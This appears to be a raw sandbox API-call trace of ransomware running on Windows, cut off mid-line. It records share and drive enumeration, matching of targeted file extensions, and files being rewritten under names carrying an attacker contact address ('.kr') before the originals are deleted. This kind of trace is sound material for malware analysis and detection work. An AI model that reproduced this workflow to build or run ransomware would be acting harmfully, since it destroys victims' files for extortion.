= 0xe94 [0076.407] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0x10) returned 0x4a7600 [0076.407] RtlReAllocateHeap (Heap=0x440000, Flags=0x0, Ptr=0x4a7600, Size=0x20) returned 0x47f280 [0076.407] RtlReAllocateHeap (Heap=0x440000, Flags=0x0, Ptr=0x47f280, Size=0x40) returned 0x45a940 [0076.407] GetLogicalDrives () returned 0x4 [0076.407] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0xfffe) returned 0x4a83b8 [0076.408] GetComputerNameW (in: lpBuffer=0x4a83bc, nSize=0x26eff64 | out: lpBuffer="NQDPDE", nSize=0x26eff64) returned 1 [0076.408] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0x1000) returned 0x4b83c0 [0076.408] WNetOpenEnumW (in: dwScope=0x3, dwType=0x1, dwUsage=0x0, lpNetResource=0x0, lphEnum=0x26eff34 | out: lphEnum=0x26eff34*=0x456140) returned 0x0 [0076.409] WNetEnumResourceW (in: hEnum=0x456140, lpcCount=0x26eff30, lpBuffer=0x4b83c0, lpBufferSize=0x26eff38 | out: lpcCount=0x26eff30, lpBuffer=0x4b83c0, lpBufferSize=0x26eff38) returned 0x103 [0076.417] WNetCloseEnum (hEnum=0x456140) returned 0x0 [0076.417] WNetOpenEnumW (in: dwScope=0x2, dwType=0x1, dwUsage=0x0, lpNetResource=0x0, lphEnum=0x26eff34 | out: lphEnum=0x26eff34*=0x4260110) returned 0x0 [0079.654] WNetEnumResourceW (in: hEnum=0x4260110, lpcCount=0x26eff30, lpBuffer=0x4b83c0, lpBufferSize=0x26eff38 | out: lpcCount=0x26eff30, lpBuffer=0x4b83c0, lpBufferSize=0x26eff38) returned 0x0 [0079.654] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0x1000) returned 0x35c50a8 [0079.654] WNetOpenEnumW (in: dwScope=0x2, dwType=0x1, dwUsage=0x0, lpNetResource=0x4b83c0, lphEnum=0x26eff08 | out: lphEnum=0x26eff08*=0x4562c0) returned 0x0 [0079.657] WNetEnumResourceW (in: hEnum=0x4562c0, lpcCount=0x26eff04, lpBuffer=0x35c50a8, lpBufferSize=0x26eff0c | out: lpcCount=0x26eff04, lpBuffer=0x35c50a8, lpBufferSize=0x26eff0c) returned 0x103 [0079.658] WNetCloseEnum (hEnum=0x4562c0) returned 0x0 [0079.658] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0x1000) returned 0x35c60b0 [0079.658] WNetOpenEnumW (in: dwScope=0x2, dwType=0x1, dwUsage=0x0, lpNetResource=0x4b83e0, lphEnum=0x26eff08 | out: lphEnum=0x26eff08*=0x0) returned 0x4b8 [0101.481] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0x1000) returned 0x42ddee0 [0101.481] WNetOpenEnumW (in: dwScope=0x2, dwType=0x1, dwUsage=0x0, lpNetResource=0x4b8400, lphEnum=0x26eff08 | out: lphEnum=0x26eff08*=0x0) returned 0x4c6 [0101.488] WNetEnumResourceW (in: hEnum=0x4260110, lpcCount=0x26eff30, lpBuffer=0x4b83c0, lpBufferSize=0x26eff38 | out: lpcCount=0x26eff30, lpBuffer=0x4b83c0, lpBufferSize=0x26eff38) returned 0x103 [0101.488] WNetCloseEnum (hEnum=0x4260110) returned 0x0 [0101.488] GetLogicalDrives () returned 0x4 [0101.488] Sleep (dwMilliseconds=0x64) [0102.666] GetLogicalDrives () returned 0x4 [0102.666] Sleep (dwMilliseconds=0x64) [0103.242] GetLogicalDrives () returned 0x4 [0103.242] Sleep (dwMilliseconds=0x64) [0103.801] GetLogicalDrives () returned 0x4 [0103.801] Sleep (dwMilliseconds=0x64) [0104.253] GetLogicalDrives () returned 0x4 [0104.253] Sleep (dwMilliseconds=0x64) [0104.698] GetLogicalDrives () returned 0x4 [0104.698] Sleep (dwMilliseconds=0x64) [0105.255] GetLogicalDrives () returned 0x4 [0105.255] Sleep (dwMilliseconds=0x64) [0105.806] GetLogicalDrives () returned 0x4 [0105.807] Sleep (dwMilliseconds=0x64) [0106.221] GetLogicalDrives () returned 0x4 [0106.221] Sleep (dwMilliseconds=0x64) [0106.746] GetLogicalDrives () returned 0x4 [0106.746] Sleep (dwMilliseconds=0x64) [0107.287] GetLogicalDrives () returned 0x4 [0107.287] Sleep (dwMilliseconds=0x64) [0107.787] GetLogicalDrives () returned 0x4 [0107.787] Sleep (dwMilliseconds=0x64) [0108.091] GetLogicalDrives () returned 0x4 [0108.091] Sleep (dwMilliseconds=0x64) [0108.583] GetLogicalDrives () returned 0x4 [0108.584] Sleep (dwMilliseconds=0x64) [0108.832] GetLogicalDrives () returned 0x4 [0108.832] Sleep (dwMilliseconds=0x64) [0109.457] GetLogicalDrives () returned 0x4 [0109.457] Sleep (dwMilliseconds=0x64) Thread: id = 7 os_tid = 0x48c [0076.410] GetTickCount () returned 0x11534a9 [0076.410] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0x24) returned 0x4553d8 [0076.410] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x408d90, lpParameter=0x4553d8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x280 [0076.411] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x408d90, lpParameter=0x4553d8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x284 [0076.412] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x408d90, lpParameter=0x4553d8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x288 [0076.412] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x408d90, lpParameter=0x4553d8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x28c [0076.413] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0x10) returned 0x4a7540 [0076.413] RtlReAllocateHeap (Heap=0x440000, Flags=0x0, Ptr=0x4a7540, Size=0x20) returned 0x47f0f0 [0076.413] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0x10) returned 0x4a74f8 [0076.413] RtlReAllocateHeap (Heap=0x440000, Flags=0x0, Ptr=0x4a74f8, Size=0x20) returned 0x47f280 [0076.413] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x75e90000 [0076.413] GetProcAddress (hModule=0x75e90000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x75ea6b30 [0076.414] Wow64DisableWow64FsRedirection (in: OldValue=0x282ff7c | out: OldValue=0x282ff7c*=0x0) returned 1 [0076.414] lstrlenW (lpString="kernel32.dll") returned 12 [0076.414] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x47f0f0 | out: hHeap=0x440000) returned 1 [0076.414] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0076.414] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x47f280 | out: hHeap=0x440000) returned 1 [0076.414] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4091a0, lpParameter=0x486380, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x290 [0076.414] WaitForSingleObject (hHandle=0x290, dwMilliseconds=0x64) returned 0x102 [0078.282] GetTickCount () returned 0x1153bfc [0078.282] GetTickCount () returned 0x1153bfc [0078.282] WaitForSingleObject (hHandle=0x290, dwMilliseconds=0x64) returned 0x102 [0078.589] GetTickCount () returned 0x1153d25 [0078.589] WaitForSingleObject (hHandle=0x290, dwMilliseconds=0x64) returned 0x102 [0079.080] GetTickCount () returned 0x1153f19 [0079.080] WaitForSingleObject (hHandle=0x290, dwMilliseconds=0x64) returned 0x102 [0079.795] GetTickCount () returned 0x11541e7 [0079.795] GetTickCount () returned 0x11541e7 [0079.795] WaitForSingleObject (hHandle=0x290, dwMilliseconds=0x64) returned 0x102 [0081.436] GetTickCount () returned 0x1154850 [0081.436] GetTickCount () returned 0x1154850 [0081.436] WaitForSingleObject (hHandle=0x290, dwMilliseconds=0x64) returned 0x102 [0082.195] GetTickCount () returned 0x1154b3e [0082.195] WaitForSingleObject (hHandle=0x290, dwMilliseconds=0x64) returned 0x102 [0083.826] GetTickCount () returned 0x11551a7 [0083.826] GetTickCount () returned 0x11551a7 [0083.827] WaitForSingleObject (hHandle=0x290, dwMilliseconds=0x64) returned 0x102 [0084.265] GetTickCount () returned 0x115534c [0084.265] WaitForSingleObject (hHandle=0x290, dwMilliseconds=0x64) returned 0x102 [0084.595] GetTickCount () returned 0x1155495 [0084.595] WaitForSingleObject (hHandle=0x290, dwMilliseconds=0x64) returned 0x102 [0085.253] GetTickCount () returned 0x1155734 [0085.266] GetTickCount () returned 0x1155744 [0085.282] WaitForSingleObject (hHandle=0x290, dwMilliseconds=0x64) returned 0x102 [0085.923] GetTickCount () returned 0x11559c5 [0085.923] WaitForSingleObject (hHandle=0x290, dwMilliseconds=0x64) returned 0x102 [0086.735] GetTickCount () returned 0x1155cf1 [0086.735] GetTickCount () returned 0x1155cf1 [0086.735] WaitForSingleObject (hHandle=0x290, dwMilliseconds=0x64) returned 0x102 [0087.294] GetTickCount () returned 0x1155f24 [0087.294] WaitForSingleObject (hHandle=0x290, dwMilliseconds=0x64) returned 0x102 [0087.944] GetTickCount () returned 0x11561b4 [0087.944] GetTickCount () returned 0x11561b4 [0087.944] WaitForSingleObject (hHandle=0x290, dwMilliseconds=0x64) returned 0x102 [0088.054] GetTickCount () returned 0x1156221 [0088.054] WaitForSingleObject (hHandle=0x290, dwMilliseconds=0x64) returned 0x102 [0088.398] GetTickCount () returned 0x1156379 [0088.398] WaitForSingleObject (hHandle=0x290, dwMilliseconds=0x64) returned 0x102 [0088.695] GetTickCount () returned 0x11564a2 [0088.695] WaitForSingleObject (hHandle=0x290, dwMilliseconds=0x64) returned 0x102 [0088.914] GetTickCount () returned 0x115657d [0088.914] WaitForSingleObject (hHandle=0x290, dwMilliseconds=0x64) returned 0x102 [0089.315] GetTickCount () returned 0x1156703 [0089.315] GetTickCount () returned 0x1156703 [0089.315] WaitForSingleObject (hHandle=0x290, dwMilliseconds=0x64) returned 0x102 [0089.788] GetTickCount () returned 0x11568e8 [0089.788] WaitForSingleObject (hHandle=0x290, dwMilliseconds=0x64) returned 0x102 [0090.114] GetTickCount () returned 0x1156a20 [0090.114] WaitForSingleObject (hHandle=0x290, dwMilliseconds=0x64) returned 0x102 [0090.604] GetTickCount () returned 0x1156c14 [0090.604] GetTickCount () returned 0x1156c14 [0090.604] WaitForSingleObject (hHandle=0x290, dwMilliseconds=0x64) returned 0x102 [0091.350] GetTickCount () returned 0x1156f02 [0091.350] WaitForSingleObject (hHandle=0x290, dwMilliseconds=0x64) returned 0x102 [0091.920] GetTickCount () returned 0x1157135 [0091.920] GetTickCount () returned 0x1157135 [0091.920] WaitForSingleObject (hHandle=0x290, dwMilliseconds=0x64) returned 0x102 [0092.546] GetTickCount () returned 0x11573b5 [0092.546] WaitForSingleObject (hHandle=0x290, dwMilliseconds=0x64) returned 0x102 [0093.028] GetTickCount () returned 0x115758a [0093.028] GetTickCount () returned 0x115758a [0093.028] WaitForSingleObject (hHandle=0x290, dwMilliseconds=0x64) returned 0x102 [0093.535] GetTickCount () returned 0x115778e [0093.535] WaitForSingleObject (hHandle=0x290, dwMilliseconds=0x64) returned 0x102 [0094.133] GetTickCount () returned 0x11579df [0094.133] GetTickCount () returned 0x11579df [0094.133] WaitForSingleObject (hHandle=0x290, dwMilliseconds=0x64) returned 0x102 [0094.665] GetTickCount () returned 0x1157bf3 [0094.665] WaitForSingleObject (hHandle=0x290, dwMilliseconds=0x64) returned 0x102 [0095.024] GetTickCount () returned 0x1157d4a [0095.024] WaitForSingleObject (hHandle=0x290, dwMilliseconds=0x64) returned 0x102 [0095.621] GetTickCount () returned 0x1157fac [0095.621] GetTickCount () returned 0x1157fac [0095.621] WaitForSingleObject (hHandle=0x290, dwMilliseconds=0x64) returned 0x102 [0096.216] GetTickCount () returned 0x11581fe [0096.216] WaitForSingleObject (hHandle=0x290, dwMilliseconds=0x64) returned 0x102 [0097.124] GetTickCount () returned 0x1158588 [0097.124] GetTickCount () returned 0x1158588 [0097.124] WaitForSingleObject (hHandle=0x290, dwMilliseconds=0x64) returned 0x102 [0097.732] GetTickCount () returned 0x11587e9 [0097.732] WaitForSingleObject (hHandle=0x290, dwMilliseconds=0x64) returned 0x102 [0098.223] GetTickCount () returned 0x11589ce [0098.223] GetTickCount () returned 0x11589ce [0098.223] WaitForSingleObject (hHandle=0x290, dwMilliseconds=0x64) returned 0x102 [0098.934] GetTickCount () returned 0x1158c9c [0098.934] WaitForSingleObject (hHandle=0x290, dwMilliseconds=0x64) returned 0x102 [0099.573] GetTickCount () returned 0x1158f0d [0099.573] GetTickCount () returned 0x1158f0d [0099.573] WaitForSingleObject (hHandle=0x290, dwMilliseconds=0x64) returned 0x102 [0100.245] GetTickCount () returned 0x11591ad [0100.245] WaitForSingleObject (hHandle=0x290, dwMilliseconds=0x64) returned 0x102 [0100.394] GetTickCount () returned 0x1159259 [0100.394] WaitForSingleObject (hHandle=0x290, dwMilliseconds=0x64) returned 0x102 [0100.538] GetTickCount () returned 0x11592e6 [0100.538] WaitForSingleObject (hHandle=0x290, dwMilliseconds=0x64) returned 0x102 [0101.409] GetTickCount () returned 0x1159651 [0101.423] GetTickCount () returned 0x1159660 [0101.423] WaitForSingleObject (hHandle=0x290, dwMilliseconds=0x64) returned 0x102 [0102.568] GetTickCount () returned 0x1159ad5 [0102.568] GetTickCount () returned 0x1159ad5 [0102.568] WaitForSingleObject (hHandle=0x290, dwMilliseconds=0x64) returned 0x102 [0103.159] GetTickCount () returned 0x1159d17 [0103.159] WaitForSingleObject (hHandle=0x290, dwMilliseconds=0x64) returned 0x102 [0103.801] GetTickCount () returned 0x1159f98 [0103.801] GetTickCount () returned 0x1159f98 [0103.801] WaitForSingleObject (hHandle=0x290, dwMilliseconds=0x64) returned 0x102 [0104.247] GetTickCount () returned 0x115a15d [0104.247] WaitForSingleObject (hHandle=0x290, dwMilliseconds=0x64) returned 0x102 [0104.697] GetTickCount () returned 0x115a322 [0104.697] WaitForSingleObject (hHandle=0x290, dwMilliseconds=0x64) returned 0x102 [0105.255] GetTickCount () returned 0x115a554 [0105.256] GetTickCount () returned 0x115a554 [0105.256] WaitForSingleObject (hHandle=0x290, dwMilliseconds=0x64) returned 0x102 [0105.807] GetTickCount () returned 0x115a777 [0105.807] WaitForSingleObject (hHandle=0x290, dwMilliseconds=0x64) returned 0x102 [0106.221] GetTickCount () returned 0x115a90e [0106.221] WaitForSingleObject (hHandle=0x290, dwMilliseconds=0x64) returned 0x102 [0106.618] GetTickCount () returned 0x115aaa4 [0106.618] GetTickCount () returned 0x115aaa4 [0106.618] WaitForSingleObject (hHandle=0x290, dwMilliseconds=0x64) returned 0x102 [0107.235] GetTickCount () returned 0x115ad15 [0107.235] WaitForSingleObject (hHandle=0x290, dwMilliseconds=0x64) returned 0x102 [0107.786] GetTickCount () returned 0x115af38 [0107.786] GetTickCount () returned 0x115af38 [0107.787] WaitForSingleObject (hHandle=0x290, dwMilliseconds=0x64) returned 0x102 [0108.091] GetTickCount () returned 0x115b061 [0108.091] WaitForSingleObject (hHandle=0x290, dwMilliseconds=0x64) returned 0x102 [0108.583] GetTickCount () returned 0x115b255 [0108.583] WaitForSingleObject (hHandle=0x290, dwMilliseconds=0x64) returned 0x102 [0108.832] GetTickCount () returned 0x115b34f [0108.832] GetTickCount () returned 0x115b34f [0108.832] WaitForSingleObject (hHandle=0x290, dwMilliseconds=0x64) returned 0x102 [0109.457] GetTickCount () returned 0x115b5c0 [0109.457] WaitForSingleObject (hHandle=0x290, dwMilliseconds=0x64) Thread: id = 8 os_tid = 0x6e4 [0078.627] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0x10000) returned 0x35e0068 [0078.628] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0x10000) returned 0x35f0070 [0078.628] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0x10) returned 0x4bc1a0 [0078.628] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0x6) returned 0x4de4c8 [0078.628] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0x10) returned 0x4bc1b8 [0078.628] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0x100000) returned 0x3ce5020 [0078.632] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0x10) returned 0x4bc1e8 [0078.632] RtlReAllocateHeap (Heap=0x440000, Flags=0x0, Ptr=0x4bc1e8, Size=0x20) returned 0x47f190 [0078.632] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0x10) returned 0x4bc1e8 [0078.632] RtlReAllocateHeap (Heap=0x440000, Flags=0x0, Ptr=0x4bc1e8, Size=0x20) returned 0x47f078 [0078.632] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x75e90000 [0078.632] GetProcAddress (hModule=0x75e90000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x75ea6b30 [0078.632] Wow64DisableWow64FsRedirection (in: OldValue=0x25aff50 | out: OldValue=0x25aff50*=0x0) returned 1 [0078.632] lstrlenW (lpString="kernel32.dll") returned 12 [0078.633] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x47f190 | out: hHeap=0x440000) returned 1 [0078.633] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0078.633] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x47f078 | out: hHeap=0x440000) returned 1 [0078.633] Sleep (dwMilliseconds=0x64) [0078.904] lstrcmpiW (lpString1=".log", lpString2=".kr") returned 1 [0078.904] lstrlenW (lpString="downlevel_2017_09_07_02_02_39_766.log") returned 37 [0078.904] CreateFileW (lpFileName="C:\\$GetCurrent\\Logs\\downlevel_2017_09_07_02_02_39_766.log" (normalized: "c:\\$getcurrent\\logs\\downlevel_2017_09_07_02_02_39_766.log"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b8 [0078.906] GetFileSizeEx (in: hFile=0x2b8, lpFileSize=0x25aff14 | out: lpFileSize=0x25aff14*=42674) returned 1 [0078.906] CloseHandle (hObject=0x2b8) returned 1 [0078.906] GetFileAttributesW (lpFileName="C:\\$GetCurrent\\Logs\\downlevel_2017_09_07_02_02_39_766.log" (normalized: "c:\\$getcurrent\\logs\\downlevel_2017_09_07_02_02_39_766.log")) returned 0x20 [0078.906] GetFileAttributesW (lpFileName="C:\\$GetCurrent\\Logs\\downlevel_2017_09_07_02_02_39_766.log.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\$getcurrent\\logs\\downlevel_2017_09_07_02_02_39_766.log.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0078.906] CreateFileW (lpFileName="C:\\$GetCurrent\\Logs\\downlevel_2017_09_07_02_02_39_766.log" (normalized: "c:\\$getcurrent\\logs\\downlevel_2017_09_07_02_02_39_766.log"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b8 [0078.906] SetFilePointerEx (in: hFile=0x2b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25afec0 | out: lpNewFilePointer=0x0) returned 1 [0078.907] SetFilePointerEx (in: hFile=0x2b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25afec0 | out: lpNewFilePointer=0x0) returned 1 [0078.907] CreateFileW (lpFileName="C:\\$GetCurrent\\Logs\\downlevel_2017_09_07_02_02_39_766.log.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\$getcurrent\\logs\\downlevel_2017_09_07_02_02_39_766.log.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4 [0078.908] GetLastError () returned 0x0 [0078.908] ReadFile (in: hFile=0x2b8, lpBuffer=0x3ce5020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x25afecc, lpOverlapped=0x0 | out: lpBuffer=0x3ce5020*, lpNumberOfBytesRead=0x25afecc*=0xa6b2, lpOverlapped=0x0) returned 1 [0078.928] WriteFile (in: hFile=0x2c4, lpBuffer=0x3ce5020*, nNumberOfBytesToWrite=0xa6c0, lpNumberOfBytesWritten=0x25afc94, lpOverlapped=0x0 | out: lpBuffer=0x3ce5020*, lpNumberOfBytesWritten=0x25afc94*=0xa6c0, lpOverlapped=0x0) returned 1 [0078.931] ReadFile (in: hFile=0x2b8, lpBuffer=0x3ce5020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x25afecc, lpOverlapped=0x0 | out: lpBuffer=0x3ce5020*, lpNumberOfBytesRead=0x25afecc*=0x0, lpOverlapped=0x0) returned 1 [0078.931] WriteFile (in: hFile=0x2c4, lpBuffer=0x3ce5020*, nNumberOfBytesToWrite=0x11e, lpNumberOfBytesWritten=0x25afc94, lpOverlapped=0x0 | out: lpBuffer=0x3ce5020*, lpNumberOfBytesWritten=0x25afc94*=0x11e, lpOverlapped=0x0) returned 1 [0078.931] SetEndOfFile (hFile=0x2c4) returned 1 [0078.931] CloseHandle (hObject=0x2c4) returned 1 [0079.275] SetFilePointerEx (in: hFile=0x2b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25afec0 | out: lpNewFilePointer=0x0) returned 1 [0079.275] SetEndOfFile (hFile=0x2b8) returned 1 [0079.276] CloseHandle (hObject=0x2b8) returned 1 [0079.277] SetFileAttributesW (lpFileName="C:\\$GetCurrent\\Logs\\downlevel_2017_09_07_02_02_39_766.log.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x20) returned 1 [0079.277] DeleteFileW (lpFileName="C:\\$GetCurrent\\Logs\\downlevel_2017_09_07_02_02_39_766.log" (normalized: "c:\\$getcurrent\\logs\\downlevel_2017_09_07_02_02_39_766.log")) returned 1 [0079.277] lstrlenW (lpString="C:\\$GetCurrent\\Logs\\downlevel_2017_09_07_02_02_39_766.log") returned 57 [0079.277] lstrlenW (lpString="C:\\$GetCurrent\\Logs\\downlevel_2017_09_07_02_02_39_766.log") returned 57 [0079.277] lstrlenW (lpString=".doc") returned 4 [0079.277] lstrcmpiW (lpString1=".doc", lpString2=".log") returned -1 [0079.277] lstrlenW (lpString=".docx") returned 5 [0079.277] lstrcmpiW (lpString1=".docx", lpString2="6.log") returned -1 [0079.277] lstrlenW (lpString=".pdf") returned 4 [0079.277] lstrcmpiW (lpString1=".pdf", lpString2=".log") returned 1 [0079.277] lstrlenW (lpString=".xls") returned 4 [0079.277] lstrcmpiW (lpString1=".xls", lpString2=".log") returned 1 [0079.277] lstrlenW (lpString=".xlsx") returned 5 [0079.277] lstrcmpiW (lpString1=".xlsx", lpString2="6.log") returned -1 [0079.277] lstrlenW (lpString=".ppt") returned 4 [0079.278] lstrcmpiW (lpString1=".ppt", lpString2=".log") returned 1 [0079.278] lstrlenW (lpString="C:\\$GetCurrent\\Logs\\downlevel_2017_09_07_02_02_39_766.log") returned 57 [0079.278] lstrlenW (lpString=".zip") returned 4 [0079.278] lstrcmpiW (lpString1=".zip", lpString2=".log") returned 1 [0079.278] lstrlenW (lpString=".rar") returned 4 [0079.278] lstrcmpiW (lpString1=".rar", lpString2=".log") returned 1 [0079.278] lstrlenW (lpString=".bz2") returned 4 [0079.278] lstrcmpiW (lpString1=".bz2", lpString2=".log") returned -1 [0079.278] lstrlenW (lpString=".7z") returned 3 [0079.278] lstrcmpiW (lpString1=".7z", lpString2="log") returned -1 [0079.278] lstrlenW (lpString="C:\\$GetCurrent\\Logs\\downlevel_2017_09_07_02_02_39_766.log") returned 57 [0079.278] lstrlenW (lpString=".dbf") returned 4 [0079.278] lstrcmpiW (lpString1=".dbf", lpString2=".log") returned -1 [0079.278] lstrlenW (lpString="C:\\$GetCurrent\\Logs\\downlevel_2017_09_07_02_02_39_766.log") returned 57 [0079.278] lstrlenW (lpString=".1cd") returned 4 [0079.278] lstrcmpiW (lpString1=".1cd", lpString2=".log") returned -1 [0079.278] lstrlenW (lpString="C:\\$GetCurrent\\Logs\\downlevel_2017_09_07_02_02_39_766.log") returned 57 [0079.278] lstrlenW (lpString=".jpg") returned 4 [0079.278] lstrcmpiW (lpString1=".jpg", lpString2=".log") returned -1 [0079.278] lstrlenW (lpString="C:\\$GetCurrent\\Logs\\downlevel_2017_09_07_02_02_39_766.log") returned 57 [0079.278] lstrlenW (lpString="C:\\$GetCurrent\\Logs\\downlevel_2017_09_07_02_02_39_766.log") returned 57 [0079.278] lstrlenW (lpString=".doc") returned 4 [0079.278] lstrcmpiW (lpString1=".doc", lpString2=".log") returned -1 [0079.278] lstrlenW (lpString=".docx") returned 5 [0079.279] lstrcmpiW (lpString1=".docx", lpString2="6.log") returned -1 [0079.279] lstrlenW (lpString=".pdf") returned 4 [0079.279] lstrcmpiW (lpString1=".pdf", lpString2=".log") returned 1 [0079.279] lstrlenW (lpString=".xls") returned 4 [0079.279] lstrcmpiW (lpString1=".xls", lpString2=".log") returned 1 [0079.279] lstrlenW (lpString=".xlsx") returned 5 [0079.279] lstrcmpiW (lpString1=".xlsx", lpString2="6.log") returned -1 [0079.279] lstrlenW (lpString=".ppt") returned 4 [0079.279] lstrcmpiW (lpString1=".ppt", lpString2=".log") returned 1 [0079.279] lstrlenW (lpString="C:\\$GetCurrent\\Logs\\downlevel_2017_09_07_02_02_39_766.log") returned 57 [0079.279] lstrlenW (lpString=".zip") returned 4 [0079.279] lstrcmpiW (lpString1=".zip", lpString2=".log") returned 1 [0079.279] lstrlenW (lpString=".rar") returned 4 [0079.279] lstrcmpiW (lpString1=".rar", lpString2=".log") returned 1 [0079.279] lstrlenW (lpString=".bz2") returned 4 [0079.279] lstrcmpiW (lpString1=".bz2", lpString2=".log") returned -1 [0079.279] lstrlenW (lpString=".7z") returned 3 [0079.279] lstrcmpiW (lpString1=".7z", lpString2="log") returned -1 [0079.280] lstrlenW (lpString="C:\\$GetCurrent\\Logs\\downlevel_2017_09_07_02_02_39_766.log") returned 57 [0079.280] lstrlenW (lpString=".dbf") returned 4 [0079.280] lstrcmpiW (lpString1=".dbf", lpString2=".log") returned -1 [0079.280] lstrlenW (lpString="C:\\$GetCurrent\\Logs\\downlevel_2017_09_07_02_02_39_766.log") returned 57 [0079.280] lstrlenW (lpString=".1cd") returned 4 [0079.280] lstrcmpiW (lpString1=".1cd", lpString2=".log") returned -1 [0079.280] lstrlenW (lpString="C:\\$GetCurrent\\Logs\\downlevel_2017_09_07_02_02_39_766.log") returned 57 [0079.280] lstrlenW (lpString=".jpg") returned 4 [0079.280] lstrcmpiW (lpString1=".jpg", lpString2=".log") returned -1 [0079.280] lstrcmpiW (lpString1=".ini", lpString2=".kr") returned -1 [0079.280] lstrlenW (lpString="desktop.ini") returned 11 [0079.280] CreateFileW (lpFileName="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini" (normalized: "c:\\$recycle.bin\\s-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b8 [0079.280] GetFileSizeEx (in: hFile=0x2b8, lpFileSize=0x25aff14 | out: lpFileSize=0x25aff14*=129) returned 1 [0079.280] CloseHandle (hObject=0x2b8) returned 1 [0079.280] GetFileAttributesW (lpFileName="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini" (normalized: "c:\\$recycle.bin\\s-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini")) returned 0x26 [0079.280] GetFileAttributesW (lpFileName="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\$recycle.bin\\s-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0079.281] CreateFileW (lpFileName="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini" (normalized: "c:\\$recycle.bin\\s-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b8 [0079.281] SetFilePointerEx (in: hFile=0x2b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25afec0 | out: lpNewFilePointer=0x0) returned 1 [0079.281] SetFilePointerEx (in: hFile=0x2b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25afec0 | out: lpNewFilePointer=0x0) returned 1 [0079.281] CreateFileW (lpFileName="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini.id-B4197730.[blablacar@airmail.cc].kr" (normalized: 